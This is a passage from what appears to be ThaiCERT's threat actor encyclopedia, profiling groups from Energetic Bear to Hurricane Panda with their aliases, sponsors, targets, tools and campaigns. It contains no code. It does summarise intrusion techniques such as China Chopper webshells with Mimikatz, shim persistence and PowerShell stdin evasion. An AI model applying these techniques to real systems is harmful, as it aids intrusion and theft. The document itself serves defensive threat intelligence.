CERT presents information on identified servers that have been infected and used by the group. The report also includes the findings of an analysis of several webservers compromised by the Energetic Bear group during 2016 and in early 2017. Dec 2016 Power outage at Ukrenergo in the Ukraine Preliminary findings indicate that workstations and Supervisory Control and Data Acquisition (SCADA) systems, linked to the 330 kilowatt sub-station North , were influenced by external sources outside normal parameters, Ukrenergo said in comments emailed to Reuters. Apr 2017 Breach of EirGrid in the UK Threat Group Cards: A Threat Actor Encyclopedia The breach of the Vodafone network allowed the hackers to create a type of wiretap known as Generic Routing Encapsulation (GRE) to tunnel into EirGrid's Vodafone router located in Shotton. May 2017 Watering Hole Attack on Turkish critical infrastructure Through our web crawling network, we were able to determine that a website belonging to a Turkish energy company was being used in a watering hole attack targeting people associated with Turkish critical infrastructure. Compromised via a supply chain attack, the site was injected with SMB credential-harvesting malware. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Equation Group Names Equation Group (real name) Tilded Team (CrySys) Country Sponsor State-sponsored, believed to be tied to the NSA s Tailored Access Operations unit. Motivation Sabotage and destruction Description (Ars Technica) Kaspersky researchers have documented 500 infections by Equation Group in at least 42 countries, with Iran, Russia, Pakistan, Afghanistan, India, Syria, and Mali topping the list. Because of a self-destruct mechanism built into the malware, the researchers suspect that this is just a tiny percentage of the total; the actual number of victims likely reaches into the tens of thousands. A long list of almost superhuman technical feats illustrate Equation Group's extraordinary skill, painstaking work, and unlimited resources. They include: The use of virtual file systems, a feature also found in the highly sophisticated Regin malware. Recently published documents provided by Ed Snowden indicate that the NSA used Regin to infect the partly state-owned Belgian firm Belgacom. The stashing of malicious files in multiple branches of an infected computer's registry. By encrypting all malicious files and storing them in multiple branches of a computer's Windows registry, the infection was impossible to detect using antivirus software. Redirects that sent iPhone users to unique exploit Web pages. In addition, infected machines reporting to Equation Group command servers identified themselves as Macs, an indication that the group successfully compromised both iOS and OS X devices. The use of more than 300 Internet domains and 100 servers to host a sprawling command and control infrastructure. USB stick-based reconnaissance malware to map air-gapped networks, which are so sensitive that they aren't connected to the Internet. Both Stuxnet and the related Flame malware platform also had the ability to bridge airgaps. An unusual if not truly novel way of bypassing code-signing restrictions in modern versions of Windows, which require that all third-party software interfacing with the operating system kernel be digitally signed by a recognized certificate authority. To circumvent this restriction, Equation Group malware exploited a known vulnerability in an already signed driver for CloneCD to achieve kernel-level code execution. Taken together, the accomplishments led Kaspersky researchers to conclude that Equation Group is probably the most sophisticated computer attack group in the world, with technical skill and resources that rival the groups that developed Stuxnet and the Flame espionage malware. Their arsenal of 0-day cyber weapons was stolen by an actor Shadow Brokers, who leaked a large section on the internet4 and tried to sell the rest afterward. Most notable among the dumps were 0-days such as ETERNALBLUE and ETERNALROMANCE that were used by other groups for the creation of infamous ransomware explosions such as WannaCry and NotPetya. 4 See ThaiCERT Whitepaper Shadow Broker - Equation Group Hack Threat Group Cards: A Threat Actor Encyclopedia Equation Group is also linked to the creation of the Stuxnet worm that aimed to sabotage nuclear reactors in Iran in 2010, and/or the follow-up threats Duqu, Flame or Gauss. Although neither country has openly admitted responsibility, Stuxnet is believed to be a jointly built American/Israeli (allegedly, Unit 8200) cyber weapon. Observed Sectors: Aerospace, Defense, Energy, Government, Media, Nanotechnology, Nuclear research, Oil and gas, Telecommunications, Transportation, Islamic activists and scholars, and companies developing cryptographic technologies. Countries: Afghanistan, Bangladesh, Belgium, Brazil, Ecuador, France, Germany, Hong Kong, India, Iran, Iraq, Israel, Kazakhstan, Lebanon, Libya, Malaysia, Mali, Mexico, Nigeria, Pakistan, Palestine, Philippines, Qatar, Russia, Singapore, Somalia, South Africa, Sudan, Switzerland, Syria, UAE, UK, USA and Yemen. Tools used DarkPulsar, DOUBLEFANTASY, DoublePulsar, EQUATIONDRUG, EQUATIONLASER, EQUESTRE, FANNY, GROK, Lambert, Plexor, Regin, TRIPLEFANTASY and many others. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Emissary Panda, APT 27, LuckyMouse, Bronze Union Names Emissary Panda (CrowdStrike) APT 27 (Mandiant) LuckyMouse (Kaspersky) Bronze Union (Scureworks) TG-3390 (SecureWorks) TEMP.Hippo (Symantec) Group 35 (Talos) Country China Motivation Information theft and espionage Description Threat Group-3390 is a Chinese threat group that has extensively used strategic Web compromises to target victims. The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. Observed Sectors: Defense, Education, Embassies, Government, Technology, Telecommunications and Think Tanks. Countries: Australia, Canada, China, Hong Kong, India, Iran, Israel, Japan, Middle East, Philippines, Russia, South Korea, Taiwan, Thailand, Tibet, UK and USA. Tools used Antak, ASPXSpy, China Chopper, Gh0st RAT, gsecdump, HTTPBrowser, Hunter, HyperBro, Mimikatz, Nishang, OwaAuth, PlugX, PSExec, Upatre, Windows Credential Editor and ZipToken. Operations performed 2010 Operation Iron Tiger Operation Iron Tiger is a targeted attack campaign discovered to have stolen trillions of data from defense contractors in the US, including stolen emails, intellectual property, strategic planning documents data and records that could be used to destabilize an organization. 2015 Penetration of networks for industrial espionage Designated as Threat Group 3390 and nicknamed "Emissary Panda" by researchers, the hacking group has compromised victims' networks largely through "watering hole" attacks launched from over 100 compromised legitimate websites, sites picked because they were known to be frequented by those targeted in the attack. Jul 2017 Operation PZChao The past few years have seen high-profile cyber-attacks shift to damaging the targets digital infrastructures to stealing highly sensitive data, silently monitoring the victim and constantly laying the ground for a new wave of attacks. This is also the case of a custom-built piece of malware that we have been monitoring for several months as it wrought havoc in Asia. Our threat intelligence systems picked up the first indicators of compromise in July last year, and we have kept an eye on the threat ever since. Threat Group Cards: A Threat Actor Encyclopedia Mar 2018 Campaign targeting a national data center in the Central Asia The choice of target made this campaign especially significant meant the attackers gained access to a wide range of government resources at one fell swoop. We believe this access was abused, for example, by inserting malicious scripts in the country s official websites in order to conduct watering hole attacks. Apr 2019 In April 2019, Unit 42 observed the Emissary Panda (AKA APT27, TG3390, Bronze Union, Lucky Mouse) threat group installing webshells on Sharepoint servers to compromise Government Organizations of two different countries in the Middle East. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia FIN4, Wolf Spider Names FIN4 (FireEye) Wolf Spider (CrowdStrike) Country Romania Motivation Financial gain Description (FireEye) FireEye tracks a threat group that we call "FIN4," whose intrusions seem to have a different objective: to obtain an edge in stock trading. FIN4 appears to conduct intrusions that are focused on a single objective: obtaining access to insider information capable of making or breaking the stock prices of public companies. The group specifically targets the emails of C-level executives, legal counsel, regulatory, risk, and compliance personnel, and other individuals who would regularly discuss confidential, market-moving information. FIN4 has targeted over 100 companies since at least mid-2013. All of the targeted organizations are either public companies or advisory firms that provide services to public companies (such as investor relations, legal, and investment banking firms). Over two-thirds of the targeted organizations are healthcare and pharmaceutical companies. FIN4 probably focuses on these types of organizations because their stocks can move dramatically in response to news of clinical trial results, regulatory decisions, or safety and legal issues. Observed Sectors: Financial, Healthcare and Pharmaceutical. Tools used Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia FIN5 Names FIN5 (FireEye) Country [Unknown] Motivation Financial gain Description FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (DarkReading) No 0days. No spear-phishing, either: The cybercriminal group tied to numerous payment card breaches including Goodwill and best known by its socalled "RawPOS" malware employed legitimate user credentials to access its targets' networks. Researchers at FireEye here today shared their recent findings on this prolific and long-running cybercrime gang that has been the subject of multiple Visa security alerts to merchants. The RawPOS memory scraper malware has been infecting the lodging industry in epidemic proportions over the past year, and is considered one of the first memory scrapers to target point-of-sale systems. FireEye has dubbed the cybercrime gang FIN5. "One of the most unique things about FIN5 is that in every intrusion we responded to where FIN5 has been active, legitimate access was identified. They had valid user credentials to remotely log into the network," said Barry Vengerik, principal threat analyst at FireEye. "No sexy zero-days, no remote exploits -- not even spear-phishing. They had credentials from somewhere." FIN5, which earlier this year was profiled by researchers at Trend Micro and has been in action since at least 2008, uses real credentials from the victim organization's virtual private network, Remote Desktop Protocol, Citrix, or VNC. Vengerik says the attackers got those credentials via third parties associated with the victims' POS systems. Observed Sectors: Gaming and Hospitality. Tools used FLIPSIDE, pwdump, RawPOS, SDelete and Windows Credential Editor. MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia FIN6, Skeleton Spider Names FIN6 (FireEye) Skeleton Spider (CrowdStrike) Country [Unknown] Motivation Financial gain Description FIN6 is a cybercrime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors. (FireEye) FIN6 is a cybercriminal group intent on stealing payment card data for monetization. In 2015, FireEye Threat Intelligence supported several Mandiant Consulting investigations in the hospitality and retail sectors where FIN6 actors had aggressively targeted and compromised point-of-sale (POS) systems, making off with millions of payment card numbers. Through iSIGHT, we learned that the payment card numbers stolen by FIN6 were sold on a card shop underground criminal marketplace used to sell or exchange payment card data. Observed Sectors: Hospitality and Retail. Tools used AbaddonPOS, Cobalt Strike, FrameworkPOS, GRABNEW, Grateful POS, LockerGoga, Ryuk, Windows Credential Editor and WMI. Operations performed Jan 2019 Information MITRE ATT&CK Over the past 8-10 weeks, Morphisec has been tracking multiple sophisticated attacks targeting Point of Sale thin clients globally. More specifically, on the 6th of February we identified an extremely high number of prevention events stopping Cobalt Strike backdoor execution, with some of the attacks expressly targeting Point of Sale VMWare Horizon thin clients. Threat Group Cards: A Threat Actor Encyclopedia FIN7 Names FIN7 (FireEye) Country Russia Motivation Financial gain Description FIN7 is a financially-motivated threat group that has primarily targeted the U.S. retail, restaurant, and hospitality sectors since mid-2015. They often use point-ofsale malware. A portion of FIN7 was run out of a front company called Combi Security. FIN7 is sometimes referred to as Carbanak, Anunak, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. The reports about arrests made of the mastermind of Carbanak, Anunak instead of FIN7. However, security research teams keep referring to this arrest for all FIN7 activities since. Observed Sectors: Casinos and Gaming, Construction, Education, Energy, Financial, Government, High-Tech, Hospitality, Retail, Technology, Telecommunications, Transportation and Travel. Countries: Europe and USA. Tools used Astra, Bateleur, Carbanak, Cobalt Strike, Griffon, HALFBAKED, POWERSOURCE, SQLRAT and TEXTMATE. Operations performed Feb 2017 In late February 2017, FireEye as a Service (FaaS) identified a spear phishing campaign that appeared to be targeting personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. All of the observed intended recipients of the spear phishing campaign appeared to be involved with SEC filings for their respective organizations. Mar 2017 Two recent fileless malware campaigns targeting financial institutions, government agencies and other enterprises have been linked to the same attack group. The campaigns, disclosed by Kaspersky Lab and Cisco s Talos research outfit in the last five weeks, made extensive use of fileless malware and known penetration testing tools and utilities to spy on organizations and move data and money off of networks. Apr 2017 In a newly-identified campaign, FIN7 modified their phishing techniques to implement unique infection and persistence mechanisms. FIN7 has moved away from weaponized Microsoft Office macros in order to evade detection. This round of FIN7 phishing lures implements hidden shortcut files (LNK files) to initiate the infection and VBScript functionality launched by mshta.exe to infect the victim. Threat Group Cards: A Threat Actor Encyclopedia Jul 2017 Proofpoint researchers have uncovered that the threat actor commonly referred to as FIN7 has added a new JScript backdoor called Bateleur and updated macros to its toolkit. 2017 Leveraging Shim Databases for Persistence A unique aspect of the incidents was how the group installed the CARBANAK backdoor for persistent access. Mandiant identified that the group leveraged an application shim database to achieve persistence on systems in multiple environments. The shim injected a malicious in-memory patch into the Services Control Manager services.exe ) process, and then spawned a CARBANAK backdoor process. Jun 2017 Highly sophisticated fileless attack targeting restaurants across the US On June 7, 2017, Morphisec Lab identified a new, highly sophisticated fileless attack targeting restaurants across the US. The ongoing campaign allows hackers to seize system control and install a backdoor to steal financial information at will. It incorporates some never before seen evasive techniques that allow it to bypass most security solutions signature and behavior based. Oct 2017 Attack to target banks and the enterprise Like clockwork, FIN7 again unleashed a new attack able to bypass almost every security solution. The attack, which took place between October 8 to 10, 2017, is yet another demonstration of the high-paced innovation by threat actors. May 2018 New Attack Panel and Malware Samples Flashpoint analysts recently uncovered a new attack panel used by this group in campaigns they have called Astra. The panel, written in PHP, functions as a script-management system, pushing attack scripts down to compromised computers. 2018 High-profile breaches including Red Robin, Chili s, Arby s, Burgerville, Omni Hotels and Saks Fifth Avenue, among many others. Fifth Avenue, Saks Off 5th, and Lord & Taylor department stores owned by The Hudson s Bay Company acknowledged a data breach impacting more than five million credit and debit card numbers. The culprits? The same group that's spent the last few years pulling off data heists from Omni Hotels & Resorts, Trump Hotels, Jason s Deli, Whole Foods, Chipotle: A mysterious group known as Fin7. Nov 2018 In this blog post, we present our findings on two campaigns, which occurred in the first and second weeks of November. These campaigns follow patterns similar to those presented by FireEye in August but with just enough variations to bypass many security vendors. Threat Group Cards: A Threat Actor Encyclopedia 20182019 In 2018-2019, researchers of Kaspersky Lab s Global Research and Analysis Team analyzed various campaigns that used the same Tactics Tools and Procedures (TTPs) as the historic FIN7, leading the researchers to believe that this threat actor had remained active despite the 2018 arrests. In addition, during the investigation, we discovered certain similarities to other attacker groups that seemed to share or copy the FIN7 TTPs in their own operations. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia FIN8 Names FIN8 (FireEye) Country [Unknown] Motivation Financial gain Description (FireEye) We attribute the use of this EoP to a financially motivated threat actor. In the past year, not only have we observed this group using similar infrastructure and tactics, techniques, and procedures (TTPs), but they are also the only group we have observed to date who uses the downloader PUNCHBUGGY and POS malware PUNCHTRACK. Designed to scrape both Track 1 and Track 2 payment card data, PUNCHTRACK is loaded and executed by a highly obfuscated launcher and is never saved to disk. This actor has conducted operations on a large scale and at a rapid pace, displaying a level of operational awareness and ability to adapt their operations on the fly. These abilities, combined with targeted usage of an EoP exploit and the reconnaissance required to individually tailor phishing emails to victims, potentially speaks to the threat actors operational maturity and sophistication. FireEye identified more than 100 organizations in North America that fell victim to this campaign. Observed Sectors: Hospitality and Retail. Countries: USA. Tools used PunchBuggy, PunchTrack and ShellTea. Operations performed Mar 2016 Tailored spear-phishing campaigns In March 2016, a financially motivated threat actor launched several tailored spear phishing campaigns primarily targeting the retail, restaurant, and hospitality industries. The emails contained variations of Microsoft Word documents with embedded macros that, when enabled, downloaded and executed a malicious downloader that we refer to as PUNCHBUGGY. 2018 In early 2017, FIN8 began using environment variables paired with PowerShell s ability to receive commands via stdin (standard input) to evade detection based on process command line arguments. In the February 2017 phishing document COMPLAINT Homer Glynn.doc Mar 2019 During the period of March to May 2019, Morphisec Labs observed a new, highly sophisticated variant of the ShellTea / PunchBuggy backdoor malware that attempted to infiltrate a number of machines within the network of a customer in the hotel-entertainment industry. It is believed that the malware was deployed as a result of several phishing attempts. MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia FIN10 Names FIN10 (FireEye) Country [Unknown] Motivation Financial gain Description (FireEye) FireEye has observed multiple targeted intrusions occurring in North America predominately in Canada dating back to at least 2013 and continuing through at least 2016, in which the attacker(s) have compromised organizations networks and sought to monetize this illicit access by exfiltrating sensitive data and extorting victim organizations. In some cases, when the extortion demand was not met, the attacker(s) destroyed production Windows systems by deleting critical operating system files and then shutting down the impacted systems. Based on near parallel TTPs used by the attacker(s) across these targeted intrusions, we believe these clusters of activity are linked to a single, previously unobserved actor or group that we have dubbed FIN10. Observed Sectors: Casinos and Mining. Countries: Canada and USA. Tools used Empire and SplinterRAT. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Flying Kitten, Ajax Security Team Names Flying Kitten (CrowdStrike) Ajax Security Team (FireEye) Group 26 (Talos) Country Iran Sponsor State-sponsored Motivation Information theft and espionage Description (FireEye) Members of this group have accounts on popular Iranian hacker forums such as ashiyane[.]org and shabgard[.]org, and they have engaged in website defacements under the group name AjaxTM since 2010. By 2014, the Ajax Security Team had transitioned from performing defacements (their last defacement was in December 2013) to malware-based espionage, using a methodology consistent with other advanced persistent threat actors in this region. (Crowdstrike) CrowdStrike Intelligence has also been tracking and reporting internally on this threat group since mid-January 2014 under the name FLYING KITTEN, and since that time has seen targeting of multiple U.S.-based defense contractors as well as political dissidents. Observed Sectors: Defense and dissidents. Countries: USA. Tools used Sayyad and Stealer. Operations performed 2013 Information Operation Saffron Rose Threat Group Cards: A Threat Actor Encyclopedia Gallmaker Names Gallmaker (Symantec) Country [Unknown] Motivation Information theft and espionage Description (Symantec) Symantec researchers have uncovered a previously unknown attack group that is targeting government and military targets, including several overseas embassies of an Eastern European country, and military and defense targets in the Middle East. This group eschews custom malware and uses living off the land (LotL) tactics and publicly available hack tools to carry out activities that bear all the hallmarks of a cyber espionage campaign. The group, which we have given the name Gallmaker, has been operating since at least December 2017, with its most recent activity observed in June 2018. Observed Sectors: Defense, Embassies and Government. Countries: Eastern Europe and Middle East. Tools used Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Gamaredon Group Names Gamaredon Group (Palo Alto) Country Russia Sponsor State-sponsored, FSB 16th & 18th Centers Motivation Information theft and espionage Description (Lookingglass) The Lookingglass Cyber Threat Intelligence Group (CTIG) has been tracking an ongoing cyber espionage campaign named Operation Armageddon The name was derived from multiple Microsoft Word documents used in the attacks. Armagedon (spelled incorrectly) was found in the Last Saved By and Author fields in multiple Microsoft Word documents. Although continuously developed, the campaign has been intermittently active at a small scale, and uses unsophisticated techniques. The attack timing suggests the campaign initially started due to Ukraine s decision to accept the Ukraine-- European Union Association Agreement (AA). The agreement was designed to improve economic integrations between Ukraine and the European Union. Russian leaders publicly stated that they believed this move by Ukraine directly threatened Russia s national security. Although initial steps to join the Association occurred in March 2012, the campaign didn t start until much later (mid 2013), as Ukraine and the EU started to more actively move towards the agreement. Russian actors began preparing for attacks in case Ukraine finalized the AA. The earliest identified modification timestamp of malware used in this campaign is June 26, 2013. A group of files with modification timestamps between August 12 and September 16, 2013 were used in the first wave of spear-phishing attacks, targeting government officials prior to the 10th Yalta Annual Meeting: Changing Ukraine in a Changing World: Factors of Success. Observed Sectors: Defense, Government and Law enforcement. Countries: Ukraine Tools used FRAUDROP, Gamaredon, Pteranodon and Resetter. Operations performed Apr 2019 The discovered attack appears to be designed to lure military personnel: it leverages a legit document of the State of the Armed Forces of Ukraine dated back in the 2nd April 2019. May 2019 The Gamaredon attacks against Ukraine doesn t seem to have stopped. After a month since our last report we spotted a new suspicious email potentially linked to the Gamaredon group. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia GCMAN Names GCMAN (Kaspersky) Country [Unknown] Motivation Financial gain Description (Kaspersky) A second group, which we call GCMAN because the malware is based on code compiled on the GCC compiler, emerged recently using similar techniques to the Corkow, Metel Group to infect banking institutions and attempt to transfer money to e-currency services. The initial infection mechanism is handled by spear-phishing financial institution targets with e-mails carrying a malicious RAR archive to. Upon opening the RAR archive, an executable is started instead of a Microsoft Word document, resulting in infection. Once inside the network, the GCMAN group uses legitimate and penetration testing tools such as Putty, VNC, and Meterpreter for lateral movement. Our investigation revealed an attack where the group then planted a cron script into bank s server, sending financial transactions at the rate of $200 per minute. A time-based scheduler was invoking the script every minute to post new transactions directly to upstream payment processing system. This allowed the group to transfer money to multiple e-currency services without these transactions being reported to any system inside the bank. Observed Sectors: Financial. Country: Russia. Tools used Malicious RAR archives, Putty, VNC and Meterpreter. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia GhostNet, Snooping Dragon Names GhostNet (Information Warfare Monitor) Snooping Dragon (UCAM) Country China Motivation Information theft and espionage Description (Information Warfare Monitor) Cyber espionage is an issue whose time has come. In this second report from the Information Warfare Monitor, we lay out the findings of a 10-month investigation of alleged Chinese cyber spying against Tibetan institutions. The investigation, consisting of fieldwork, technical scouting, and laboratory analysis, discovered a lot more. The investigation ultimately uncovered a network of over 1,295 infected hosts in 103 countries. Up to 30% of the infected hosts are considered high-value targets and include computers located at ministries of foreign affairs, embassies, international organizations, news media, and NGOs. The Tibetan computer systems we manually investigated, and from which our investigations began, were conclusively compromised by multiple infections that gave attackers unprecedented access to potentially sensitive information. (UCAM) Attacks on the Dalai Lama s Private Office The OHHDL started to suspect it was under surveillance while setting up meetings be-tween His Holiness and foreign dignitaries. They sent an email invitation on behalf of His Holiness to a foreign diplomat, but before they could follow it up with a courtesy telephone call, the diplomat s office was contacted by the Chinese government and warned not to go ahead with the meeting. The Tibetans wondered whether a computer compromise might be the explanation; they called ONI Asia who called us. (Until May 2008, the first author was employed on a studentship funded by the OpenNet Initiative and the second author was a principal investigator for ONI.) Also see Shadow Network. Observed Sectors: Embassies, Government, Media and NGOs. 1,295 infected computers in 103 countries, including the Dalai Lama, the ministries of foreign affairs of Bangladesh, Barbados, Bhutan, Brunei, Indonesia, Iran, Latvia and Philippines; embassies of Cyprus, Germany, India, Indonesia, Malta, Pakistan, Portugal, Romania, South Korea, Taiwan and Thailand; the ASEAN (Association of Southeast Asian Nations) Secretariat, SAARC (South Asian Association for Regional Cooperation), and the Asian Development Bank; news organizations; and an unclassified computer located at NATO headquarters. Tools used Gh0st RAT and Skype. Counter operations Taken down by the Shadowserver Foundation. Information Threat Group Cards: A Threat Actor Encyclopedia Goblin Panda, Cycldek Names Goblin Panda (CrowdStrike) Cycldek (Kaspersky) Country China Motivation Information theft and espionage Description (CrowdStrike) CrowdStrike first observed Goblin Panda activity in September 2013 when indicators of its activity were discovered on the network of a technology company operating in multiple sectors. Malware variants primarily used by this actor include PlugX and HttpTunnel. This actor focuses a significant amount of its targeting activity on entities in Southeast Asia, particularly Vietnam. Heavy activity was observed in the late spring and early summer of 2014 when tensions between China and other Southeast Asian nations were high, due to conflict over territory in the South China Sea. Goblin Panda targets have been primarily observed in the defense, energy, and government sectors. Observed Sectors: Defense and Energy and Government. Countries: India, Indonesia, Laos, Malaysia, Philippines, USA and Vietnam. Tools used HttpTunnel, NewCore, PlugX, QCRat, Sisfader and ZeGhost. Information Threat Group Cards: A Threat Actor Encyclopedia Goldmouse Names Goldmouse (360) APT-C-27 (360) Country [Unknown] Motivation Information theft and espionage Description (360) On March 17, 2019, 360 Threat Intelligence Center captured a target attack sample against the Middle East by exploiting WinRAR vulnerability (CVE-201820250), and it seems that the attack is carried out by the Goldmouse APT group (APT-C-27). There is a decoy Word document inside the archive regarding terrorist attacks to lure the victim into decompressing. When the archive gets decompressed on the vulnerable computer, the embedded njRAT backdoor (Telegram Desktop.exe) will be extracted to the startup folder and then triggered into execution if the victim restarts the computer or performs re-login. After that, the attacker is capable to control the compromised device. Observed Countries: Middle East. Tool used GoldenRAT, njRAT and a WinRAR exploit. Information Threat Group Cards: A Threat Actor Encyclopedia Gorgon Group Names Gorgon Group (Palo Alto) Subaat (Palo Alto) Country Pakistan Sponsor State-sponsored Motivation Information theft and espionage Description Gorgon Group is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. Observed Sectors: Government. Countries: Russia, Spain, UK and USA. Tools used Crimson, LokiBot, NanoCore RAT, njRAT, QuasarRAT, Remcos and Revenge RAT. Operations performed Jul 2017 Small wave of phishing emails targeting a US-based government organization. Within the 43 emails we observed, we found that three unique files were delivered, which consisted of two RTFs and a Microsoft Excel file. Both RTFs exploited CVE-2012-0158 and acted as downloaders to ultimately deliver the QuasarRAT malware family. The downloaders made use of the same shellcode, with minor variances witnessed between them. Additionally, the RTFs made use of heavy obfuscation within the documents themselves, making it more difficult to extract the embedded shellcode. Feb 2018 In addition to the numerous targeted attacks, Unit 42 discovered that the group also performed a litany of attacks and operations around the globe, involving both criminal as well as targeted attacks. Starting in February 2018, Palo Alto Networks Unit 42 identified a campaign of attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom, Spain, Russia, and the United States. Additionally, during that time, members of Gorgon Group were also performing criminal operations against targets across the globe, often using shared infrastructure with their targeted attack operations. Mar 2019 [Attribution unconfirmed] Aggah Campaign: Bit.ly, BlogSpot, and Pastebin Used for C2 in Large Scale Campaign In March 2019, Unit 42 began looking into an attack campaign that appeared to be primarily focused on organizations within a Middle Eastern country. Further analysis revealed that this activity is likely part of a much larger campaign impacting not only that region but also the United States, and throughout Europe and Asia. MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Threat Group Cards: A Threat Actor Encyclopedia GozNym Names GozNym (IBM) Country [Several] Motivation Financial gain Description (IBM) IBM X-Force Research uncovered a Trojan hybrid spawned from the Nymaim and Gozi ISFB malware. It appears that the operators of Nymaim have recompiled its source code with part of the Gozi ISFB source code, creating a combination that is being actively used in attacks against more than 24 U.S. and Canadian banks, stealing millions of dollars so far. X-Force named this new hybrid GozNym. The new GozNym hybrid takes the best of both the Nymaim and Gozi ISFB malware to create a powerful Trojan. From the Nymaim malware, it leverages the dropper s stealth and persistence; the Gozi ISFB parts add the banking Trojan capabilities to facilitate fraud via infected Internet browsers. The end result is a new banking Trojan in the wild. Observed Sectors: Financial. Countries: Canada, Poland and USA. Tools used GozNym, Nymaim and Gozi ISFB. Operations performed Apr 2016 Attacks against more than 24 U.S. and Canadian banks Apr 2016 Attacks on banks in Poland Jun 2016 Attacks on banks in the USA Aug 2016 Attacks on banks in Germany Counter operations GozNym Malware: Cybercriminal Network Dismantled in International Operation (2019) Threat Group Cards: A Threat Actor Encyclopedia Group5 Names Group5 (Citizen Lab) Country Iran Sponsor State-sponsored Motivation Information theft and espionage Description (SecurityWeek) A threat actor using Iranian-language tools, Iranian hosting companies, operating from the Iranian IP space at times was observed targeting the Syrian opposition in an elaborately staged malware operation, Citizen Lab researchers reveal. The operation was first noticed in late 2015, when a member of the Syrian opposition flagged a suspicious email containing a PowerPoint slideshow, which led researchers to a watering hole website with malicious programs, malicious PowerPoint files, and Android malware. The threat actor was targeting Windows and Android devices of well-connected individuals in the Syrian opposition, researchers discovered. They called the actor Group5, because it targets Syrian opposition after regime-linked malware groups, the Syrian Electronic Army, ISIS (also known as the Islamic State or ISIL), and a group linked to Lebanon did the same in the past. Observed Countries: Syria. Tools used DroidJack, NanoCore RAT and njRAT. MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Hidden Lynx, Aurora Panda Names Hidden Lynx (Symantec) Aurora Panda (CrowdStrike) Group 8 (Talos) Country China Motivation Information theft and espionage Description (Symantec) The Hidden Lynx group has been in operation since at least 2009 and is most likely a professional organization that offers a hackers for hire service. They have the capability to attack many organizations with concurrently running campaigns. They operate efficiently and move quickly and methodically. Based on these factors, the Hidden Lynx group would need to be a sizeable organization made up of between 50 and 100 individuals. Much of the attack infrastructure and tools used during these campaigns originate from network infrastructure in China. The Hidden Lynx group makes regular use of zero-day exploits and has the ability to rework and customize exploits quickly. They are methodical in their approach and they display a skillset far in advance of some other attack groups also operating in that region, such as the Comment Crew (also known as APT1). The Hidden Lynx group is an advanced persistent threat that has been in operation for at least four years and is breaking into some of the bestprotected organizations in the world. With a zero-day attack already under their belt in 2013, they continue to operate at the leading edge of targeted attacks. This group appears to be closely associated with APT 17, Deputy Dog. Observed Sectors: Construction, Defense, Education, Financial, Food and Agriculture, Engineering, Healthcare, IT, Government, Media, Non-profit organizations, Pharmaceuticals, Retail and lawyers. Countries: Australia, Canada, China, France, Germany, Hong Kong, India, Japan, Russia, Singapore, South Korea, Taiwan, UK, Ukraine and USA. Tools used HiKit, Moudoor and Naid. Operations performed Jun 2012 VOHO campaign The VOHO campaign, first publicized by RSA, is one of the largest and most successful watering-hole attacks to date. The campaign combined both regional and industry-specific attacks and predominantly targeted organizations that operate in the United States. In a rapidly spreading two-phase attack, which started on June 25 and finished July 18, nearly 4,000 machines had downloaded a malicious payload. These payloads were being delivered to unsuspecting victims from legitimate websites that were strategically compromised. Jul 2012 Breach of the Bit9 website Counter operations Security vendors take action against Hidden Lynx malware (2014) Threat Group Cards: A Threat Actor Encyclopedia Information Threat Group Cards: A Threat Actor Encyclopedia Honeybee Names Honeybee (McAfee) Country [Unknown] Motivation Information theft and espionage Description (McAfee) McAfee Advanced Threat Research analysts have discovered a new operation targeting humanitarian aid organizations and using North Korean political topics as bait to lure victims into opening malicious Microsoft Word documents. Our analysts have named this Operation Honeybee, based on the names of the malicious documents used in the attacks. Advanced Threat Research analysts have also discovered malicious documents authored by the same actor that indicate a tactical shift. These documents do not contain the typical lures by this actor, instead using Word compatibility messages to entice victims into opening them. The Advanced Threat Research team also observed a heavy concentration of the implant in Vietnam from January 15 Observed Sectors: Those involved in humanitarian aid and inter-Korean affairs. Countries: South Korea to target Argentina, Canada, Indonesia, Japan, Singapore and Vietnam. Tools used SYSCON, Systeminfo and Tasklist Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Hurricane Panda, Zirconium, APT 31 Names Hurricane Panda (CrowdStrike) Zirconium (Microsoft) APT 31 (Mandiant) TEMP.Avengers (Symantec) Country China Motivation Information theft and espionage Description (CrowdStrike) We have investigated their intrusions since 2013 and have been battling them nonstop over the last year at several large telecommunications and technology companies. The determination of this China-based adversary is truly impressive: they are like a dog with a bone. Hurricane Panda s preferred initial vector of compromise and persistence is a China Chopper webshell a tiny and easily obfuscated 70 byte text file that consists of an eval() command, which is then used to provide full command execution and file upload/download capabilities to the attackers. This script is typically uploaded to a web server via a SQL injection or WebDAV vulnerability, which is often trivial to uncover in a company with a large external web presence. Once inside, the adversary immediately moves on to execution of a credential theft tool such as Mimikatz (repacked to avoid AV detection). If they are lucky to have caught an administrator who might be logged into that web server at the time, they will have gained domain administrator credentials and can now roam your network at will via net use and wmic commands executed through the webshell terminal. Observed Sectors: Technology and Telecommunications. Tools used 9002 RAT, China Chopper, Gh0st RAT, HiKit, Mimikatz, PlugX, Sakula RAT and Trochilus RAT. Information Threat Group Cards: A Threat Actor Encyclopedia Icefog, Dagger Panda Names Icefog (Kaspersky) Dagger Panda (CrowdStrike) Country China, South Korea and 